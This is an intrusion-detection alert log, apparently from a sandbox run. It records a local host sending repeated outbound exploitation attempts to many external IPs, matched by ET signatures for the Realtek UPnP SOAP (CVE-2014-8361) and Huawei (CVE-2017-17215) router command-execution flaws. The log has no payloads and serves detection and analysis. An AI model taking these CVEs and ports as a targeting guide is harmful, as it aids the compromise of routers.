07/20/24-23:01:08.630327	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	44926	52869	192.168.2.23	181.219.175.178
07/20/24-23:01:10.523865	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	35540	52869	192.168.2.23	60.92.43.190
07/20/24-23:01:43.318305	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	53044	52869	192.168.2.23	148.119.6.34
07/20/24-23:01:50.313415	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	42688	52869	192.168.2.23	149.8.44.5
07/20/24-23:00:59.191389	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	47064	37215	192.168.2.23	41.123.9.56
07/20/24-23:01:20.175900	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	37304	37215	192.168.2.23	197.199.249.9
07/20/24-23:01:43.890780	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	60936	52869	192.168.2.23	51.131.43.210
07/20/24-23:01:46.773722	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	36020	52869	192.168.2.23	66.96.161.223
07/20/24-23:01:42.837135	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	47254	52869	192.168.2.23	204.152.123.98
07/20/24-23:01:44.428891	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	52146	52869	192.168.2.23	123.97.7.185
07/20/24-23:01:41.378871	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	58286	52869	192.168.2.23	52.167.234.201
07/20/24-23:01:08.621030	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	56310	52869	192.168.2.23	136.74.174.143
07/20/24-23:01:42.745085	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	47378	52869	192.168.2.23	2.78.155.76
07/20/24-23:01:45.143033	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	34238	52869	192.168.2.23	219.30.72.57
07/20/24-23:01:46.987215	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	58068	52869	192.168.2.23	1.176.237.99
07/20/24-23:01:42.632123	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	57086	52869	192.168.2.23	176.127.40.36
07/20/24-23:01:42.634606	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	33464	52869	192.168.2.23	181.147.220.98
07/20/24-23:01:34.045749	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	42846	37215	192.168.2.23	117.32.136.151
07/20/24-23:01:40.322860	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	42490	37215	192.168.2.23	41.254.32.226
07/20/24-23:01:50.848727	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	52016	52869	192.168.2.23	170.121.46.240
07/20/24-23:01:04.113037	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	57922	37215	192.168.2.23	157.121.210.198
07/20/24-23:01:40.319856	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	41910	37215	192.168.2.23	109.208.87.26
07/20/24-23:01:12.861753	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	49736	52869	192.168.2.23	123.52.107.77
07/20/24-23:01:43.058686	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	53072	52869	192.168.2.23	162.142.171.159
07/20/24-23:01:49.463055	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	47496	52869	192.168.2.23	18.7.171.33
07/20/24-23:02:35.459810	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	48992	52869	192.168.2.23	31.72.24.180
07/20/24-23:01:31.313163	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	59674	52869	192.168.2.23	108.240.199.7
07/20/24-23:01:52.305893	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	60312	52869	192.168.2.23	96.239.240.238
07/20/24-23:01:43.199406	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	43286	52869	192.168.2.23	86.216.107.76
07/20/24-23:01:49.145932	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	52068	52869	192.168.2.23	59.111.61.71
07/20/24-23:01:43.001716	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	39670	52869	192.168.2.23	185.86.48.66
07/20/24-23:01:43.170156	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	40400	52869	192.168.2.23	222.227.230.240
07/20/24-23:01:44.895849	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	35128	52869	192.168.2.23	125.174.13.114
07/20/24-23:01:41.620386	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	50676	52869	192.168.2.23	69.103.140.112
07/20/24-23:01:42.636583	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	59580	52869	192.168.2.23	153.113.97.179
07/20/24-23:01:42.627588	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	41408	52869	192.168.2.23	197.132.250.53
07/20/24-23:01:31.979565	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	50932	37215	192.168.2.23	123.35.251.224
07/20/24-23:01:24.567513	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	35712	52869	192.168.2.23	66.164.253.202
07/20/24-23:01:53.675171	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	39908	52869	192.168.2.23	145.80.152.144
07/20/24-23:01:31.317774	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	57996	52869	192.168.2.23	213.71.93.224
07/20/24-23:01:24.915904	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	51416	37215	192.168.2.23	197.139.170.13
07/20/24-23:01:52.089079	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	46226	52869	192.168.2.23	119.145.77.109
07/20/24-23:02:17.128771	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	53648	52869	192.168.2.23	61.109.235.175
07/20/24-23:00:59.187842	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	33894	37215	192.168.2.23	41.132.20.65
07/20/24-23:01:08.600680	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	34588	52869	192.168.2.23	13.188.89.36
07/20/24-23:01:43.541579	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	45090	52869	192.168.2.23	213.118.6.220
07/20/24-23:01:44.464382	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	42596	52869	192.168.2.23	193.12.149.189
07/20/24-23:01:04.094795	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	42104	37215	192.168.2.23	41.185.138.78
07/20/24-23:01:58.143690	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	35542	52869	192.168.2.23	192.45.244.106
07/20/24-23:02:45.524183	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	41146	52869	192.168.2.23	120.235.235.116
07/20/24-23:01:31.325694	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	37036	52869	192.168.2.23	149.142.97.135
07/20/24-23:01:11.149832	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	41576	52869	192.168.2.23	51.49.44.101
07/20/24-23:00:57.222080	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	46562	37215	192.168.2.23	197.224.182.83
07/20/24-23:01:49.693650	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	60962	52869	192.168.2.23	54.42.165.29
07/20/24-23:01:58.424201	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	57774	52869	192.168.2.23	98.158.142.52
07/20/24-23:00:59.172943	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	44106	37215	192.168.2.23	197.114.117.243
07/20/24-23:01:02.449592	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	43378	52869	192.168.2.23	201.173.108.254
07/20/24-23:01:42.390246	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	54968	52869	192.168.2.23	189.30.194.82
07/20/24-23:01:44.602081	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	33104	52869	192.168.2.23	140.138.195.141
07/20/24-23:01:40.296076	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	37636	37215	192.168.2.23	157.83.137.181
07/20/24-23:01:42.501090	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	60800	52869	192.168.2.23	104.116.61.223
07/20/24-23:01:58.608087	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	37112	52869	192.168.2.23	130.253.20.234
07/20/24-23:01:11.635828	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	56278	37215	192.168.2.23	197.16.1.141
07/20/24-23:01:44.500152	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	40244	52869	192.168.2.23	186.206.154.241
07/20/24-23:01:02.395457	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	52660	52869	192.168.2.23	82.99.109.50
07/20/24-23:01:10.977084	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	60170	52869	192.168.2.23	183.182.103.28
07/20/24-23:01:51.290278	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	33108	52869	192.168.2.23	139.158.177.85
07/20/24-23:01:42.374543	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	53570	52869	192.168.2.23	142.105.178.104
07/20/24-23:01:41.322614	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	60750	52869	192.168.2.23	197.25.236.70
07/20/24-23:01:42.874808	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	54348	52869	192.168.2.23	146.0.35.148
07/20/24-23:01:08.578727	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	35996	52869	192.168.2.23	54.235.197.43
07/20/24-23:01:49.198416	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	47642	52869	192.168.2.23	156.133.161.252
07/20/24-23:01:57.847364	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	42466	52869	192.168.2.23	88.239.244.206
07/20/24-23:01:41.193880	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	34308	52869	192.168.2.23	216.159.45.191
07/20/24-23:00:57.222008	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	35550	37215	192.168.2.23	168.165.233.141
07/20/24-23:01:45.197712	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	46672	52869	192.168.2.23	153.197.120.12
07/20/24-23:01:08.588009	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	34436	52869	192.168.2.23	2.32.130.76
07/20/24-23:01:49.537827	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	59670	52869	192.168.2.23	104.171.202.164
07/20/24-23:00:57.220937	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	42510	37215	192.168.2.23	173.155.49.17
07/20/24-23:01:44.533289	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	44910	52869	192.168.2.23	103.0.203.61
07/20/24-23:01:01.839255	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	41974	52869	192.168.2.23	159.20.45.153
07/20/24-23:01:11.633481	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	53458	37215	192.168.2.23	157.205.78.42
07/20/24-23:01:42.699478	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	37526	52869	192.168.2.23	105.139.214.54
07/20/24-23:01:46.552279	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	48718	52869	192.168.2.23	60.88.74.46
07/20/24-23:01:08.938949	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	51090	52869	192.168.2.23	142.90.33.83
07/20/24-23:01:01.308250	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	47302	52869	192.168.2.23	117.49.51.0
07/20/24-23:01:27.658221	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	47452	37215	192.168.2.23	197.38.231.207
07/20/24-23:01:45.116897	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	47614	52869	192.168.2.23	208.81.102.220
07/20/24-23:01:01.212254	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	48726	52869	192.168.2.23	142.90.33.83
07/20/24-23:01:44.837053	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	42080	52869	192.168.2.23	18.202.42.80
07/20/24-23:01:52.061339	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	38364	52869	192.168.2.23	32.82.7.154
07/20/24-23:01:48.083998	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	36126	52869	192.168.2.23	132.77.166.224
07/20/24-23:01:24.960642	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	40560	37215	192.168.2.23	197.93.140.206
07/20/24-23:01:50.131564	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	40240	52869	192.168.2.23	104.92.73.201
07/20/24-23:01:07.036064	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	45644	37215	192.168.2.23	44.107.36.53
07/20/24-23:01:14.387649	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	33180	52869	192.168.2.23	52.164.165.154
07/20/24-23:01:20.110860	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	57738	37215	192.168.2.23	41.233.17.165
07/20/24-23:01:27.708151	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	54590	37215	192.168.2.23	81.184.225.73
07/20/24-23:01:43.039504	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	52804	52869	192.168.2.23	174.16.2.141
07/20/24-23:02:09.321968	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	43566	52869	192.168.2.23	206.198.46.124
07/20/24-23:01:03.077930	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	42130	52869	192.168.2.23	155.22.90.90
07/20/24-23:01:41.299284	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	39404	52869	192.168.2.23	186.129.147.154
07/20/24-23:00:59.194576	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	58804	37215	192.168.2.23	157.251.206.76
07/20/24-23:01:42.751824	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	44208	52869	192.168.2.23	106.184.161.191
07/20/24-23:01:47.951292	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	54036	52869	192.168.2.23	213.139.230.45
07/20/24-23:01:43.528108	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	51436	52869	192.168.2.23	203.13.28.171
07/20/24-23:01:50.807258	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	35422	52869	192.168.2.23	180.65.88.44
07/20/24-23:01:24.944299	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	37422	37215	192.168.2.23	157.61.104.107
07/20/24-23:01:47.354421	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	60566	52869	192.168.2.23	46.134.86.41
07/20/24-23:01:50.949008	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	60078	52869	192.168.2.23	107.238.169.17
07/20/24-23:01:41.478929	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	48268	52869	192.168.2.23	62.0.251.178
07/20/24-23:01:02.046626	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	36256	37215	192.168.2.23	9.120.239.102
07/20/24-23:01:42.979245	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	33440	52869	192.168.2.23	43.122.229.51
07/20/24-23:01:47.193367	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	42084	52869	192.168.2.23	147.248.255.23
07/20/24-23:01:47.918473	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	38286	52869	192.168.2.23	130.218.184.181
07/20/24-23:01:52.305893	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	40326	52869	192.168.2.23	198.12.218.135
07/20/24-23:00:57.221564	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	33418	37215	192.168.2.23	197.127.202.249
07/20/24-23:01:14.097795	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	47320	37215	192.168.2.23	157.205.157.48
07/20/24-23:01:40.286738	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	54404	37215	192.168.2.23	41.211.68.86
07/20/24-23:01:54.104766	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	44562	52869	192.168.2.23	79.6.78.78
07/20/24-23:01:20.144672	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	54608	37215	192.168.2.23	157.28.100.8
07/20/24-23:01:55.863393	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	48716	52869	192.168.2.23	47.97.62.221
07/20/24-23:01:43.443111	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	50606	52869	192.168.2.23	90.126.99.183
07/20/24-23:01:41.228794	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	33084	52869	192.168.2.23	42.245.92.167
07/20/24-23:01:42.147980	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	47972	52869	192.168.2.23	75.161.254.133
07/20/24-23:01:44.765093	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	33644	52869	192.168.2.23	39.114.224.236
07/20/24-23:02:20.433034	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	36142	52869	192.168.2.23	221.47.181.83
07/20/24-23:01:43.141970	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	48684	52869	192.168.2.23	77.216.216.160
07/20/24-23:01:59.593869	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	59884	52869	192.168.2.23	163.245.29.116
07/20/24-23:01:42.778817	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	46836	52869	192.168.2.23	173.176.211.200
07/20/24-23:01:10.406934	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	55706	37215	192.168.2.23	143.197.81.99
07/20/24-23:01:46.955966	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	35814	52869	192.168.2.23	97.254.137.62
07/20/24-23:02:04.640460	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	40204	52869	192.168.2.23	39.135.72.98
07/20/24-23:01:08.613165	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	52470	52869	192.168.2.23	74.116.148.181
07/20/24-23:01:47.532849	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	32992	52869	192.168.2.23	210.32.95.217
07/20/24-23:01:52.701293	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	53396	52869	192.168.2.23	175.210.141.95
07/20/24-23:01:34.048618	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	58204	37215	192.168.2.23	41.241.253.254
07/20/24-23:01:59.043868	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	41608	52869	192.168.2.23	18.255.33.143
07/20/24-23:01:04.798513	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	47786	52869	192.168.2.23	115.225.187.157
07/20/24-23:01:53.775275	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	58484	52869	192.168.2.23	155.246.197.66
07/20/24-23:01:13.331592	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	56494	52869	192.168.2.23	213.215.4.32
07/20/24-23:00:57.221017	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	34536	37215	192.168.2.23	197.76.203.13
07/20/24-23:01:08.574948	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	43308	52869	192.168.2.23	91.33.144.77
07/20/24-23:01:42.509003	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	48078	52869	192.168.2.23	88.171.168.15
07/20/24-23:01:24.885895	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	49634	37215	192.168.2.23	197.238.40.139
07/20/24-23:01:40.290003	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	55552	37215	192.168.2.23	197.221.226.157
07/20/24-23:02:04.476708	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	55616	52869	192.168.2.23	181.63.38.118
07/20/24-23:01:59.063098	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	55714	52869	192.168.2.23	70.183.86.6
07/20/24-23:01:04.031511	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	35524	37215	192.168.2.23	197.231.152.31
07/20/24-23:01:11.634077	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	43372	37215	192.168.2.23	150.154.154.148
07/20/24-23:01:47.604425	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	37388	52869	192.168.2.23	42.29.184.117
07/20/24-23:01:49.810143	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	32836	52869	192.168.2.23	72.2.201.225
07/20/24-23:01:53.484243	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	59706	52869	192.168.2.23	112.243.101.70
07/20/24-23:01:31.974656	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	55358	37215	192.168.2.23	157.16.40.52
07/20/24-23:01:42.718643	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	58412	52869	192.168.2.23	85.146.42.42
07/20/24-23:01:45.144955	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	33272	52869	192.168.2.23	178.242.0.237
07/20/24-23:01:44.670958	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	42826	52869	192.168.2.23	105.232.226.131
07/20/24-23:01:42.115778	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	46138	52869	192.168.2.23	216.159.149.17
07/20/24-23:02:04.022244	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	48646	52869	192.168.2.23	50.192.76.252
07/20/24-23:01:11.642449	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	55946	37215	192.168.2.23	41.208.78.115
07/20/24-23:01:24.589249	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	44726	52869	192.168.2.23	111.38.32.209
07/20/24-23:01:08.575986	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	43452	52869	192.168.2.23	193.14.204.18
07/20/24-23:01:55.125263	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	55758	52869	192.168.2.23	27.236.237.70
07/20/24-23:02:48.447183	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	51008	52869	192.168.2.23	36.136.49.118
07/20/24-23:01:59.296959	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	58156	52869	192.168.2.23	39.202.167.253
07/20/24-23:01:00.633642	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	35680	37215	192.168.2.23	197.132.243.55
07/20/24-23:01:44.203130	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	59938	52869	192.168.2.23	194.155.182.26
